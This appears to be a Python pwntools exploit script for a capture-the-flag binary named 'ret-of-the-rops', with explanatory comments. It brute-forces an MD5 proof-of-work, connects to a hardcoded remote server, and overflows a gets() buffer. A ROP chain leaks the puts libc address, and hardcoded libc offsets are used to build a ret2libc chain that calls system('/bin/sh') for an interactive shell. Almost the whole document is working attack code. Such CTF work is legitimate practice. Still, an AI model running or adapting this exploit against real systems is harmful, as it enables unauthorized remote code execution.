#!/usr/bin/env python3

#The vuln binary has little mitigations with aslr and nx..While stack canary and PIE is disabled which helps us to craft our exploit easily.

#The challenge consists of a sh file that first executes the Proof of Work which basically gives a part of md5 hash and which is made up of 4 random small letter 
#by using itertools lets create a wordlists with all combinations of a 4 lowercase words and hash into md5 using hashlib module  and compare the last value with 
#the server's value if okk sent it to the server which will now allow us to interact with the vulnerable binary..
#This binary is simple with a gets method with a input and also has a format string..But we are not gonna touch the format string part as we have the puts
#that is perfect for the information leak and after calculating the address just a normal ret2libc attack into system '/bin/sh'

from pwn import *
import string
import itertools
import hashlib
import binascii

def hash_finder(md5_hash):                                                     #This function is responsible for finding the plaintext for the hash value from 
    wordlist = []                                                              #the given plaintext
    for i in itertools.permutations(list(string.ascii_lowercase),4):
        wordlist.append(i)
    for i in wordlist:
        hashed = str(hashlib.md5("".join(i).encode()).hexdigest())
        if(md5_hash == hashed[-6:]):
            return "".join(i).encode()

while(True):
    try:
        e = ELF("./ret-of-the-rops")
        r = remote("161.97.176.150",2222)
        md5_hash = r.recvline().decode().split()[-1]
        plaintext = hash_finder(md5_hash)
        r.sendline(plaintext)
        r.recvline()
        r.recvline()
        libc_leaker = b'A' * 39 + b"\x00"                                     #exploit padding 
        rop = ROP(e)                                                            
        pop_rdi = rop.find_gadget(['pop rdi'])[0]                             #pop rdi gadget
        libc_leaker+=p64(pop_rdi)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(e.symbols['main']) #exploit to leak puts libc address to calculate offset and finding
        r.sendline(libc_leaker)                                                                #the libc version the binary is runningg
        r.recv()
        address = r.recvline().rstrip()                                                        #A long step to parse the leak to get libc address
        print(r.recvline())
        i = 0
        leaked_libc_value= 0 
        len_address = len(address)
        for k in address:
            leaked_libc_value+= (int(k)*(16**i))
            i+=2                                                                               
        ret = rop.find_gadget(['ret'])[0]                              #ret gagdet for the stack alignment and preventing the error caused by movaps instructions
        log.info("Leaked libc address " + str(hex(leaked_libc_value)))  #just a log in terminal about the puts libc address                        
        base_address = leaked_libc_value - 554400                       #the libc is found to libc6_2.31-0ubuntu9_amd64.so
        log.info("Base address of libc is " + str(hex(base_address)))   #Base address of libc 
        system_address = base_address + 349200
        log.info("Address of system function is " + str(hex(system_address)))  #system function address
        bin_sh = base_address + 1799594
        log.info("Address of /bin/sh is " + str(hex(bin_sh)))                  #'/bin/sh' address
        exploit = b'A' * 39 + b"\x00" + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_address) #exploit with ret pop_rdi gadget and bin_sh and system address 
        r.sendline(exploit)                                                                         #and bin_sh and system address to get the RCE
        r.interactive() 
        r.close()
        break
    except AttributeError:
        print("\nRestart")
        continue
